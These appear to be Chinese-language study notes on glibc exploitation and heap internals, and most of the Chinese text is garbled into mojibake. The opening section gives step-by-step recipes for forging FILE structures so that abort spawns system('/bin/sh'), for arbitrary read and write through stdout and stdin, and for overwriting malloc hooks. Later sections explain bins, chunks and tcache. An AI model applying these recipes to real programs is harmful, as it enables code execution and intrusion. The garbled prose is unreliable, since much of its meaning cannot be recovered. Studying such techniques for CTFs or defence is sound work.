      • ่€Œๆญคๆ™‚ๅ› ็‚บ FILE ็š„ๆฉŸๅˆถ (_IO_list_all), main_arena ็š„ smallbin[4] (chunk size ็‚บ 0x60) ๆœƒๆŒ‡ๅ‘ๆˆ‘ๅ€‘็š„ chunk, ไธฆๆŠŠๆˆ‘ๅ€‘็š„ chunk ็•ถไฝœ FILE structure ็œ‹
        • _IO_list_all->_chain ๅ‰›ๅฅฝ็‚บ smallbin[4] (0x60)
        • ้œ€่ฆๆปฟ่ถณ _IO_write_ptr > _IO_write_base
      • ไธฆๅœจ abort ๆ™‚, ๅ‡ FILE structure ไนŸๆœƒ่ขซ _IO_flush_all_lockp() ๅฝฑ้Ÿฟ
        • ๅฐ‡ _flags ๆ”นๆˆ '/bin/sh;'
        • vtable ็š„ function ๆ”นๆˆ system()
        • ๅœจ abort ๆ™‚ๅฏไปฅ trigger system("/bin/sh")
    • ๆ–ฐ็š„ glibc ็‰ˆๆœฌ่ฆๆฑ‚ vtable ่ฆๅœจ _IO_vtable section ไน‹ๅ…ง
      • ๅฆ‚ๆžœไธๆ˜ฏ, ๆœƒ้€ฒ่กŒ็ฌฌไบŒๆฎตๆชขๆŸฅ
        • for compatibilty
          • pointer guard ไธๆ€Ž้บผๅฏ่ƒฝ็นž้Ž
        • for shared library
          • ๅฏซๅˆฐ _dl_open_hook ไนŸ่ƒฝ็นž, ไฝ†่ƒฝๅฏซๅˆฐ้€™, ไนŸไธๅฟ…่ฆๅฏซๅˆฐๆญค hook
      • FILE structure ๆ˜ฏไธๆ˜ฏๆฒ’ๆ•‘ไบ†โ€ฆ ้‚„ๆœ‰!!
    • ๅˆฉ็”จ stream buffer ่ทŸ file descriptor
      • stdout ไปปๆ„่ฎ€
        • set _fileno to fd of stdout
        • set _flag & ~_IO_NO_WRITES
        • set _flag |= _O_CURRENTLY_PUTTING
        • set write_base & write_ptr to mem you want to read
        • set _IO_read_end == _IO_write_base
          • ่ฆ้ฟ้–‹ไธ€ไบ›ๆœƒๅ‹•ๅˆฐ stream buffer ็š„ๆขไปถ
      • stdin ไปปๆ„ๅฏซ
        • set _fileno to fd of stdin
        • set _flag & ~_IO_NO_READS
        • set read_base == read_ptr
        • set buf_base & buf_ptr to mem you want to read
        • buf_end - buf_base > size of fread
      • GOT hijack
      • __malloc_hook / __free_hook_ / __realloc_hook_
    • ๅฆ‚ๆžœๆฒ’ๆœ‰ file operation ๅฏไปฅ็”จๆ€Ž้บผ่พฆ
      • stdin / stdout / stderr ็›ธ้—œ็š„ function ้ƒฝๅฏไปฅ
        • put / printf
        • scanf / gets / fgets
      • ๅ‡่จญ็š†็‚บ unbuffer
      • stdout
        • ็”จ fastbin attack
          • overwrite _flags
          • partial overwrite _IO_write_base ptr
        • partial overwrite unsorted bin ptr
          • ๆ‹ฟๅˆฐ stdout ๅพŒ๏ผŒๆ”นๅฏซ stdout ็š„ _IO_write_base (่ชคไปฅ็‚บๆฑ่ฅฟ้‚„ๆฒ’่ผธๅ‡บๅฎŒ)
          • ๅ‘ house of roman
      • stdin
        • unsorted bin attack ่“‹ _IO_buf_end
        • if scanf("%d", &var)
          • read(0, buf_base, sizeof(stdin buffer))
          • ่“‹ๆމ __malloc_hook
      • ็”จ _IO_strfile_ == struct{ _IO_streambuf; _IO_str_fields }
        • field ๅ…งๅซๅ…ฉๅ€‹ function ptr
  • ๅ‰ฉไธ‹้‚„ๆœ‰ _IO_str_finish, _IO_str_jumps, _IO_wstr_finish ็ญ‰็ญ‰
  • scanf("%d", &var) ๅบ•ๅฑคๆœƒ call read(0, buf_base, sizeof(stdin buffer))
  • _IO_write_base ~ _IO_write_ptr ๅ…งๅฎน็š„ๆฑ่ฅฟๆ˜ฏ่ฆ่ขซๅฏซๅพ—๏ผŒๅฏซๅŽปๅ“ช? _fileno
  • _IO_buf_base ~ _IO_buf_end ๅ…งๅฎน็š„ๆฑ่ฅฟๆ˜ฏ่ฆ่ขซ่ฎ€็š„๏ผŒๅพžๅ“ช่ฎ€? _fileno (1)

file other trick

  • vtable ๅญ˜็š„ function ptr ๅœจ 2.29 ๅพŒๅฏไปฅๅฏซ
  • vtable ๆœฌ่บซ ๅœจ 2.24 ๅพŒๆœ‰ๅšดๆ ผ็š„ๆชขๆŸฅ๏ผŒๅŸบๆœฌไธŠ็นžไธๅคชๆމ๏ผŒๆฒ’่พฆๆณ•็›ดๆŽฅไฟฎๆ”น

ๅฏไปฅๆŽงๅˆถ stdout ๆˆ–ๆ˜ฏ stdin ็ญ‰็ญ‰ fp๏ผŒๅฏไปฅๅ˜—่ฉฆๆ”นๅ‹• chain๏ผŒๆ”นๆˆ heap address ไน‹้กžๅฏไปฅๆŽงๅˆถ็š„ๅœฐๆ–น๏ผŒไธฆๅฝ้€  fake _IO_file_plus

heap

็‚บๅฏไปฅๅœจ runtime ไฝฟ็”จไธฆ้‡‹ๆ”พ็š„ memory space, ๆ˜ฏ็”ฑ low address -> large address

allocate heap memory region: mmap & brk

  • brk
    • void *sbrk(intptr_t increment):
      • start_brk ็‚บ heap ่ตทๅง‹, brk ็‚บ heap ็ตๆŸ
      • increment=0 ๆ™‚ๆœƒ่ฟ”ๅ›ž็•ถๅ‰ brk
    • void brk(void *addr):
      • ๅ‚ณๅ…ฅๆŒ‡ๅฎš brk address
  • mmap
    • void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);:
      • ex : mmap(NULL, (size_t)(4*1024+1), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
      • creates a new mapping in the virtual address space of the calling process.
      • ๆ˜ ๅฐ„ไธ€ๅกŠ address ็ตฆ process ไฝฟ็”จ, ่ฉฒๅกŠ address ๅฏ่ƒฝ็‚บ file ็š„ mapping, ไนŸๅฏ่ƒฝๅชๆ˜ฏไธ€ๅกŠ virtual address
      • addr=NULL: ่ฎ“ kernel ่‡ชๅทฑ้ธ
      • prot:
        • READ ไปฃ่กจๅฏ่ฎ€
        • WRITE ไปฃ่กจๅฏๅฏซ
      • flags:
        • MAP_PRIVATE ไปฃ่กจไธ่ขซๅ…ถไป– process ๅ…ฑ็”จ
        • MAP_ANONYMOUS ไปฃ่กจไธๅฑฌๆ–ผไปปไฝ• file, initial with 0
          • fd ้œ€็‚บ -1
          • offset ็‚บ 0

PS. getchar(), scanf() ็ญ‰็ญ‰ๆœ‰้—œ input ็š„ function ็š†ๆœƒไฝฟ็”จๅˆฐ heap

The GNU C Library ("glibc", the usual C runtime on Ubuntu) allocates memory for internal use the first time stdout is used for anything

ไธป่ฆ็š„ๅ…ฉๅ€‹ function: malloc & free

  • malloc():
    • first malloc
      • size >= 128KB: mmap โ€“> sys_mmap
      • size < 128KB: brk โ€“> sys_brk
        • ้€้Ž brk, kernel ๆœƒ็ตฆ glibc 132KB ็š„ heap segment(rw), ไธฆๆจ™็คบ็‚บไฝฟ็”จ้Ž, ๆˆ‘ๅ€‘็จฑไน‹ main arena
        • ็คบๆ„ flow :
          1. binary โ€“่ฆ1KBโ€“> glibc โ€“โ€“> kernel
          2. binary โ€“โ€“> glibc โ€“่ฆmemoryโ€“> kernel
          3. binary โ€“โ€“> glibc <โ€“็ตฆไฝ 132KBโ€“ kernel
          4. binary <โ€“็ตฆไฝ 1KBโ€“ glibc(ๅ…ฑๆœ‰132KB) <โ€“โ€“ kernel
        • ๅฐ binary ไพ†่ชช, free() ๆ˜ฏ้‡‹ๆ”พ็ตฆ glibc
        • ๅฐ glibc ไพ†่ชช, glibc ๆŽŒๆก 132KB memory, ๆŽง็ฎก binary ็š„ memory
        • ๅฐ kernel ไพ†่ชช, ไป–ๅทฒ็ถ“ๅˆ†้… 132KB ็ตฆ glibc, ไปฃ่กจๆญค 132KB ๅทฒ่ขซไฝฟ็”จ
    • malloc() return ๅ›žไพ†็š„ ptr ๆŒ‡ๅ‘ chunk, ็‚บ glibc ๅฏฆไฝœ memory management ็š„ data struct (header + data)
    • next malloc
      1. if(size < 0x90), ๆœƒๅ…ˆๅŽป fast bin ๆ‰พๆœ‰็„ก size ็›ธ็ฌฆ็š„ chunk, ๆœ‰ๅ‰‡ๅ›žๅ‚ณ
      2. ๅŽป unsorted bin ๆ‰พๆœ‰็„ก size ็›ธ็ฌฆ็š„ chunk, ๆœ‰ๅ‰‡ๅ›žๅ‚ณ
      3. ็„ก็›ธ็ฌฆไฝ†ๆœ‰ๆ›ดๅคง size ็š„ chunk, ๅ‰‡ๅˆ‡ๅ‰ฒๅพŒๅ›žๅ‚ณ, ๅ‰ฉ้ค˜็š„ไธŸๅ›ž unsorted bin
      4. ้ƒฝๆฒ’ๆœ‰, ๅ‰‡ๅพž top chunk ๅˆ‡ไธฆๅ›žๅ‚ณ
  • free():
    • ็•ถ้ž fastbin size ็š„ chunk ่ขซ free, ่‹ฅ่ˆ‡ top chunk ็›ธๆŽฅ(ๅœจ top chunk ๅ‰้ข, chunk ๅพŒ้ขๆ˜ฏ top chunk), ๅ‰‡ๆœƒ่ขซ merge
    • ็•ถ will be freed chunk ๅ‰้ข็š„ chunk ๆ˜ฏ no inuse(freed), ๅ‰‡ๆœƒ trigger consolidate
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹/* consolidate backward */ โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹if(!prev_inuse(p)) { โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹ prevsize = p->prev_size; โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹ size += prevsize; // ่‡ชๅทฑ + ๅ‰ไธ€ๅ€‹ โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹ p = chunk_at_offset(p, -((long) prevsize)); // ๅฐ‡่‡ชๅทฑ็š„ ptr ๆŒ‡ๅˆฐ p+offset ่™• โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹ unlink(p, bck, fwd); โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹}

ๅ‘ผๅซๆต็จ‹ๅฆ‚ไธ‹

  • malloc() โ€“โ€“> __lib_malloc() โ€“โ€“> _int_malloc()
  • free() โ€“โ€“> _int_free()

data structure

  • fast bin struct
typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[]; // Array of pointers to chunks
  • unsorted, small and large bin struct
typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[]; // Array of pointers to chunks
  • ๅ„ thread arena ็š„ heap header
typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
  • arena structure, e.g. main_arena
struct malloc_state
{
    /* Serialize access. */
    __libc_lock_define (, mutex);
    /* Flags (formerly in max_fast). */
    int flags;
    /* Fastbins */
    mfastbinptr fastbinsY[NFASTBINS];
    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;
    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;
    /* Normal bins packed as described above */
    mchunkptr bins[NBINS * 2 - 2];
    /* Bitmap of bins */
    unsigned int binmap[BINMAPSIZE];
    /* Linked list */
    struct malloc_state *next;
    /* Linked list for free arenas. Access to this field is serialized
    by free_list_lock in arena.c. */
    struct malloc_state *next_free;
    /* Number of threads attached to this arena. 0 if the arena is on
    the free list. Access to this field is serialized by
    free_list_lock in arena.c. */
    INTERNAL_SIZE_T attached_threads;
    /* Memory allocated from the system in this arena. */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};
typedef struct malloc_state *mstate;
  • chunk
struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;                /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

typedef struct malloc_chunk* mchunkptr;
  • tcache & its entry
typedef struct tcache_perthread_struct
{
    char counts[TCACHE_MAX_BINS]; // most 7 chunks
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

typedef struct tcache_entry
{
    struct tcache_entry *next;
} tcache_entry; // point to next chunk "data"
// fastbin fd point to next chunk "header"

detail

heap_info

thread arena ๅฏไปฅๆœ‰ๅคšๅ€‹ heap, ไธ”ๆฏๅ€‹ heap ้ƒฝๆœ‰่‡ชๅทฑ็š„ header, ็จฑไฝœ heap_info, ็”จไพ†ๆ่ฟฐ heap ็š„ info

  • ็”ฑๆ–ผ arena ๅ—้™ๆ–ผๆ ธๅฟƒๆ•ธ้‡, ๆ‰€ไปฅๆœ‰ไบ› thread ๆœƒ share arena, ่€Œ arena ๅ…งๅฏ่ƒฝๅŒ…ๅซไธๅŒ thread ็š„ heap, ๆ‰€ไปฅ็”จ heap_info ๅŽปๆ่ฟฐ heap
  • ็•ถ heap ไธๅค ็”จๆ™‚, kernel ๆœƒ็”จ mmap() or brk() allocate memory (arena) ็ตฆ heap, ่€Œๆญคๆ™‚่ฉฒ thread ๆœ‰ๅคšๅ€‹ sub-heap (ๅŽŸ arena + ๆ–ฐ arena), ็ต„ๆˆ heap
    • ๅฆ‚ๆญคๅœ– thread_arena ๅ…ง้ƒจๆœ‰ๅ…ฉๅ€‹ mmap() ๅ‡บ็š„ heap, ไธ” heap2 ็š„ heap_info->prev ๆŒ‡ๅˆฐ heap1 ็š„ heap_info->ar_ptr, ่€Œ heap1 ็š„ heap_info->ar_ptr ๆŒ‡ๅˆฐ malloc_state, ๆญคไฝœๆณ•ๆ–นไพฟๅพŒ็บŒ็ฎก็†
  • ่€Œ main_arena ๅฟ…ๅฎš้šธๅฑฌๆ–ผ main_thread, ๆ‰€ไปฅไธ้œ€่ฆ heap_info
malloc_state

malloc_state ๅ„ฒๅญ˜ arena ็š„ info, ๅŒ…ๅซ bin, top chunk, last remainder chunk ็ญ‰็ญ‰่ณ‡่จŠ (arena_header)

  • main thread ็š„ arena (malloc_state) ็‚บ global, ๅœจ libc ็š„ bss
  • other threads ็š„ arena (malloc_state) not global, ไธ” other threads arena ๅช่ƒฝ้€้Ž mmap() create

chunk

  • Chunk type
    • Allocated
    • Freed
    • Top
      • ็•ถ็ทŠ้„ฐ็š„ chunk ่ขซ free, top chunk ๆœƒๅฐ‡ๅ…ถ merge (conlidate), ๅ› ๆญค top chunk ็š„ PREV_INUSE bit ๆฐธ้ ็‚บ 1
  • Freed chunk
    • Fast bin
      • free ๅฎŒๅพŒ, ๅชๆœƒๆœ‰ fd (single linked list)
      • default: 0x20 ~ 0x80 (7 ๅ€‹)
        • ๅ‚™็”จๅˆฐ 0xb0
      • LIFO
      • P (PREV_INUSE) ไธๆœƒ่ขซๆธ…ๆމ
    • Small bin
      • ๆœ‰ fd, bk (double linked list)
      • 0x20 ~ 0x3f0 (62 ๅ€‹)
      • FIFO
      • ไธ€ๅ€‹ๅคงๅฐไธ€ๅ€‹ bin
    • Large bin
      • ๆœ‰ fd, bk (double linked list) + fd_nextsize, bk_nextsize (ไธŠ/ไธ‹ไธ€ๅ€‹ๅคงๅฐ่ทŸ่‡ชๅทฑไธไธ€ๆจฃ็š„ chunk ไฝ็ฝฎ)
      • allocate ๆ™‚, ๆŽกๅ– Best fit (ๆปฟ่ถณ chunk size ๆœ€่ฟ‘ size)
    • Unsorted bin
      • ๆœ‰ fd, bk (double linked list)
      • temporary cache (free ็š„ size ้ž fast bin)
      • malloc ๆ™‚ๆœƒๅˆ†้…ๅˆฐๅฐๆ‡‰ size ็š„ (small / large) chunk
    • Tcache
      • ๆฏๅ€‹ thread ็š„ heap, ็‚บไบ†ๆธ›ๅฐ‘ lock ็š„ๆฌกๆ•ธ่ˆ‡ๆๅ‡ๆ•ˆ่ƒฝ
      • ๅชๆœ‰ fd, ไฝ†ๅฆๅค–ๆœ‰ key at bk ๅš double free ็š„ check
      • 0x20 ~ 0x410 (64 ๅ€‹)
      • 7 ๅ€‹ entry per bin
      • LIFO
      • P ไธๆœƒ unset
  • overlap bin size (fast / small)
    • ็”จไพ†ๆ”พๅˆ‡ๅ‰ฉ็š„ๅคงๅฐๅ‰›ๅฅฝๅœจ fast bin ็š„ size range ๅ…ง
      • e.g. 0x500 = 0x4c0 + 0x40, 0x40 ๆœƒๅ…ˆ่ขซๆ”พๅˆฐ "unsorted bin", ๅœจๅ›žๆ”ถๆ™‚ๆœƒ่ขซๆ”พๅˆฐ "small bin", ่€Œไธๆœƒ้€ฒๅ…ฅ "fast bin"
  • Consolidate
    • glibc ๅœจ user malloc large bin size (>= 0x420), ๆœƒๅ›žๆ”ถ + merge "fast bin" ็š„ chunk, ๆ”พๅ…ฅ "unsored bin"
large chunk

็›ธๅŒ index ไธ‹๏ผŒๆŽ’ๅˆ—ๆœ‰ไปฅไธ‹็‰น้ปž๏ผš

  • ๅคงๅฐๅพžๅคงๅˆฐๅฐ
  • ๅคงๅฐ็›ธๅŒ๏ผŒๅ‰‡ๅพž free ็š„ๆ™‚้–“
  • ๅคงๅฐ็›ธๅŒ็š„ chunk๏ผŒๅชๆœ‰็ฌฌไธ€ๅกŠ็š„ fd_nextsize ่ˆ‡ bk_nextsize ๆœƒๆŒ‡ๅˆฐๅ…ถไป–ๅœฐๆ–น๏ผŒๅ…ถไป–้ƒฝๆ˜ฏ 0
  • size ๆœ€ๅคง็š„ chunk bk_nextsize ๆŒ‡ๅ‘ๆœ€ๅฐ็š„ chunk๏ผ›size ๆœ€ๅฐ็š„ fd_nextsize ๆŒ‡ๅ‘ๆœ€ๅคง็š„ chunk
  • fd_nextsize ๆŒ‡ๅ‘ size ๅ‰้ข (ๆ›ดๅฐ็š„) ็š„ linked list๏ผŒbk_nextsize ๆŒ‡ๅ‘ size ๅพŒ้ข (ๆ›ดๅคง็š„) ็š„
  • fd ๆŒ‡ๅ‘ๅพŒ้ขๆ™‚้–“ๆ‰้€ฒไพ†็š„ chunk (bk == NULL ็‚บๆœ€ๅคง็š„ chunk)
example
  • code
#include <stdio.h> #include <stdlib.h> int main() { void* arr[64]; arr[0] = malloc(0x470); arr[1] = malloc(0x10); arr[2] = malloc(0x470); arr[3] = malloc(0x10); arr[4] = malloc(0x470); arr[5] = malloc(0x10); arr[6] = malloc(0x480); arr[7] = malloc(0x10); arr[8] = malloc(0x480); arr[9] = malloc(0x10); arr[10] = malloc(0x480); arr[11] = malloc(0x10); arr[12] = malloc(0x490); arr[13] = malloc(0x10); arr[14] = malloc(0x490); arr[15] = malloc(0x10); arr[16] = malloc(0x490); arr[17] = malloc(0x10); for (int i = 0; i < 18; i++) { free(arr[i]); } malloc(0x600); return 0; }
  • ็ตๆžœ
trace
victim_index = largebin_index(size) bck = bin_at(av,victim_size) fwd = bck->fd fwd = bck bck = bck->bk victim->fd_nextsize = fwd->fd victim->bk_nextsize = fwd->fd->bk_nextsize victim->bk_nextsize->fd_nextsize = victim fwd->fd->bk_nextsize = victim victim->bk = bck victim->fd = fwd fwd->bk = victim bck->fd = victim

chunk detail

  1. top:
    • 1~16 ๅŒ allocated
    • P flag ๆ†็‚บไธ€, ๅ› ็‚บๅฆ‚ๆžœ free ๆމ้€ฃ็บŒ memory ไธญ top chunk ็š„ไธŠๅ€‹ chunk ๆ™‚, ่‹ฅ้ž fastbin, ๅ‰‡่ฉฒๅกŠ chunk ๆœƒ่ˆ‡ top chunk merge
  2. allocated:
    • 1~8 bytes:
      • ้€ฃ็บŒ memory ไธญไธŠไธ€ๅกŠ:
        • ๅฆ‚ๆžœๆ˜ฏ free chunk ๅ‰‡็‚บprev_size, ็‚บๅ‰ไธ€ๅ€‹ free chunk ็š„ๅคงๅฐ
        • ๅฆ‚ๆžœๆ˜ฏ allocated chunk ๅ‰‡็‚บ data, ไปฃ่กจไธŠไธ€ๅกŠ allocated chunk ่ˆ‡็•ถๅ‰ allocated chunk ๆœ‰ 8 bytes ้‡็–Š
    • 9~16 bytes:
      • ๅ› ็‚บ chunk ๅฐ้ฝŠ 0x10, ๆ‰€ไปฅๅ‰ 28 bits ็‚บ chunk size
      • ๅพŒ 4 bits ็”จไพ†ๅญ˜ๅ…ถไป–่ณ‡่จŠ:
        1. ๆฒ’็”จๅˆฐ
        2. non_main_arena(N): ๆญค chunk ๆ˜ฏๅฆๅฑฌๆ–ผ main_arena, 0 ไปฃ่กจๅฑฌๆ–ผ thread_arena
        3. is_mmaped(M): chunk ๆ˜ฏๅฆ้€้Ž mmap ๆ‹ฟๅˆฐ
        4. prev_inuseยง: ้€ฃ็บŒ memory ไธŠๅ€‹ chunk ๆ˜ฏๅฆๅœจไฝฟ็”จไธญ, ่‹ฅ็‚บ 1 ๅ‰‡ไปฃ่กจไธŠๅ€‹ chunk ็‚บ allocated chunk, ๆญฃๅœจ่ขซไฝฟ็”จไธญ
  3. free:
    • 1~16 ๅŒ allocated
    • ๅ› ็‚บ่ขซ free ๆމ, ไปฃ่กจ็”จไธๅˆฐไบ†, ๆ‰€ไปฅ data ๅ€ๅฏไปฅๅญ˜ไธ€ไบ› meta-data(็”จไพ†ๆ่ฟฐๅ…ถไป–่ณ‡ๆ–™็š„่ณ‡ๆ–™)
    • 1~8 bytes (for data):
      • fd: ๆŒ‡ๅ‘ๅŒไธ€ bin ็š„ๅ‰ไธ€ๅกŠ chunk (linked list), ้ž้€ฃ็บŒ memory ็š„ๅ‰ไธ€ๅกŠ
    • 9~16 bytes (for data):
      • bk: ๆŒ‡ๅ‘ๅŒไธ€ bin ็š„ๅพŒไธ€ๅกŠ chunk (linked list), ้ž้€ฃ็บŒ memory ็š„ๅพŒไธ€ๅกŠ
    • 17~24 bytes (for data):
      • fd_nextsize: ๆŒ‡ๅ‘ๅ‰ไธ€ๅกŠ large chunk (ไธๅซ bin)
    • 25~32 bytes (for data):
      • bk_nextsize: ๆŒ‡ๅ‘ๅพŒไธ€ๅกŠ large chunk (ไธๅซ bin)
    • ๅฆ‚ๆžœ่ขซ free() ็š„ chunk ็‚บ bin ไธญ็š„็ฌฌไธ€ๅ€‹ freed chunk, ๅ‰‡ fd == bk == main_arena->bin, ๅ› ็‚บ main_arena->bin linked list ็š„้ ญๅฐพ็‚บ main_arena->bin ่‡ชๅทฑ็š„ chunk
  4. last remainder:
    • malloc ๆ™‚, ptmalloc2 ๆ‰พๅˆฐไธๅˆฐ็›ธ็ฌฆ็š„ chunk, ๅช่ƒฝๅพžๅคงๅกŠ็š„ chunk ๅˆ‡, ๅ‰ฉไธ‹็š„ๅ‰‡ๆ˜ฏ last remainder chunk, ๅœจ unsorted ๅ…ง

bin detail

  • bins ๆ นๆ“š sizes ๅˆ†ๆˆ:
    1. fast bin
      • chunk size < 0x90 bytes, ่ขซ free ๅฎŒๆœƒๅˆ†ๅˆฐๆญค bin
      • fast bin ไธ‹้ขๅˆๆ นๆ“š size, ๅ†ๅˆ†ๆˆ 0x20, 0x30, 0x40โ€ฆ, global_max_fast ็‚บ 0x80
      • global_max_fast ๅˆๅง‹ๅ€ผ็‚บ 0, ็ฌฌไธ€ๆฌก malloc() ๆ™‚ๆ‰ๆœƒ่ขซๅกซๅ…ฅ
        โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹#define get_max_fast() global_max_fast
        
      • ๅช็”จๅˆฐ fb, ไธ” NULL ็ตๅฐพ (<โ€“-> small, large ้ƒฝๆ˜ฏไปฅ bin_chunk ็•ถ้–‹้ ญ&็ตๅฐพ)
      • ็‚บ LIFO, ๆ‰€ไปฅๅพž fast bin ๆ‹ฟ chunk ๆ™‚ๆœƒๅ…ˆๅพž็ฌฌไธ€ๅ€‹ๆ‹ฟ
      • ๅŽŸ chunk ๅœจ่ขซ free ๆމๅพŒ, ่‹ฅๅœจ fast bin, ๅ‰‡ไธๆœƒๅฐ‡ไธ‹ไธ€ๅกŠ chunk ็š„ P ่จญๆˆ 0
      • default_mxfast = 64 * SIZE_SZ / 4
      • max_fast_size = 80 * SIZE_SZ / 4
      • x86
        • default = 0x40
        • max = 0x50
        • ๅคงๅฐ็‚บ 0x10, 0x18โ€ฆ, 0x58 ๅ…ฑ 10 ๅ€‹
      • x64
        • default = 0x80
        • max = 0xA0
        • ๅคงๅฐ็‚บ 0x20, 0x30โ€ฆ, 0xb0 ๅ…ฑ 10 ๅ€‹
    2. small bin
      • chunk size < 0x400, 0x20~0x80 ็š„ chunk ๆœƒๆ นๆ“šๆฉŸๅˆถๆ”พๅ…ฅ fast bin or small bin
      • ๅ…ถๅ…ง้ƒจๅˆๅˆ†ๆˆ 0x20~0x3f0 ๅ…ฑ 62 ๅ€‹ bin
      • circular doubly linked list
      • FIFO
    3. large bin
      • chunk size > 0x400
      • ๅœจๆญค bin ็š„ free chunk ็š„ 17~32 bytes (for data) ๆ”พไบ†ๅ…ถไป–็š„ meta-data:
        • 17~24 bytes: fd_nextsize, linked list ไธญไธŠๅ€‹ chunk ็š„ size
        • 25~32 bytes: bk_nextsize, linked list ไธญไธ‹ๅ€‹ chunk ็š„ size
    4. unsorted bin
      • ่‹ฅ chunk size > 0x80, ่ขซ free ๅพŒๆœƒๅ…ˆ้€ฒๅ…ฅ unsorted bin
      • circular doubly linked list
      • ่‹ฅ trigger ๅˆฐ consolidate, ๆœƒๆธ…็ฉบ unsorted bin, ๅฐ‡ๅฐๆ‡‰ๅคงๅฐ็š„ chunk ๅˆ†้…ๅˆฐ small & large bin
  • fast bin struct
typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[]; // Array of pointers to chunks
  • unsorted, small and large bin struct
typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[]; // Array of pointers to chunks

tcache detail

glibc >= 2.26 ๅพŒๅขžๅŠ ็š„ๆฉŸๅˆถ (ubuntu 17.10), ็›ฎ็š„่ฆๆๅ‡ performance

  • https://medium.com/@ktecv2000/tcache-exploitation-871044f8b210
  • fastbin ๅ„็จฎ size ๅ‰้ข้ƒฝๅคšไบ† 7 ๅ€‹cache (ex. 0x30 free 7 ๆฌกๆ‰ๆœƒๅˆฐ fastbin), ็จฑไฝœ tcache
    • ๆฏๅ€‹ thread ้ƒฝๆœƒๆœ‰ไธ€ๅ€‹
    • ๅ…ฑ 64 ๅ€‹ bin (TCACHE_MAX_BINS) (24 0x18 ~ 1032 0x408)
      • ไธ€ๅ€‹ bin ๆœ€ๅคš 7 ๅ€‹ chunk
    • ่ถ…้Žๅฐฑ็›ดๆŽฅๆ”พ unsorted bin
  • ๆœƒๅ…ˆๅพž tcache ๆ‹ฟ, ็ญ‰ๅˆฐ็ฉบ็š„ๆ‰ๆœƒๅŽป fastbin ๆ‰พ, ่€Œๆญคๆ™‚ๆ‹ฟๅฎŒ็ฌฌไธ€ๅ€‹ fastbin ๅพŒ, ๆœƒๅฐ‡ๅ‰ฉไธ‹็š„ chunk ไธŸๅˆฐ tcache, ๅ› ็‚บๆ˜ฏ LIFO, ๆ‰€ไปฅ:
    1. tcache ็‚บ็ฉบ, fastbin ๅ…งๆ˜ฏ abcd
    2. ๅ–ๅ‡บ a, ๅฐ‡ bcd ไปฅ reverse ็š„้ †ๅบๆ”พๅ…ฅ tcache
    3. tcache dcb, fastbin ็‚บ็ฉบ
  • secure
    • ๆฒ’ๆœ‰ๆชขๆŸฅ double free
    • malloc() ๆฒ’ๆœ‰ๆชขๆŸฅ size
  • tcache ็š„็ฏ„ๅœๆถต่“‹ small bin, ๆ‰€ไปฅ่ฆ้€้Ž unsorted bin ๅŽป leak libc, malloc size ๅฟ…้ ˆๅคงๆ–ผ small bin
    • ๅฆ‚ๆžœๆœ‰ UAF, ไนŸๅฏไปฅ้€้Ž malloc() 0x100 ไปฅไธŠ็š„ chunk 7 ๆฌก, ไธฆไธ” free 7 ๆฌก่ฎ“ cache ๅกžๆปฟ, ๆœ€ๅพŒๅฐฑๅฏไปฅ้€ฒๅ…ฅ unsorted bin ไธฆ leak ๅ‡บ libc addr
    • ๆˆ–ๆ˜ฏ็›ดๆŽฅ allocte > 0x408 (1032) ็š„ chunk ่ฎ“ tcache ็„กๆณ•ไฝฟ็”จ, ็›ดๆŽฅ้€ฒๅ…ฅ unsorted bin
  • tcache ็š„ free ๆฉŸๅˆถไปฅๅŠ malloc ๆฉŸๅˆถๅๅˆ†ไธๅšด่ฌน, ๆˆ‘ๅ€‘ไปปๆ„ๆง‹้€ ไธ€ๅ€‹ๅคงๅฐ้ž 0x50 ็š„ chunk ไนŸ่ƒฝๆ”พๅ…ฅ 0x50 ็š„ chunk ไธญไธฆๅœจ malloc() ๆ™‚่ขซๅ–ๅ‡บ
    • ไฝ†ๅ‡่จญๆญค chunk size ็‚บ 0x410, ่ขซๅ–ๅ‡บๅพŒๆœƒ่ขซ็•ถไฝœๆ˜ฏ 0x410 ็š„ chunk ็œ‹ๅพ…

Trace Code

  • ๅ–ๅพ— chunk size (mask & nomask)
    โ€‹โ€‹โ€‹โ€‹/* Get size, ignoring use bits */
    โ€‹โ€‹โ€‹โ€‹#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
    
    โ€‹โ€‹โ€‹โ€‹/* Like chunksize, but do not mask SIZE_BITS.  */
    โ€‹โ€‹โ€‹โ€‹#define chunksize_nomask(p) ((p)->mchunk_size)
    
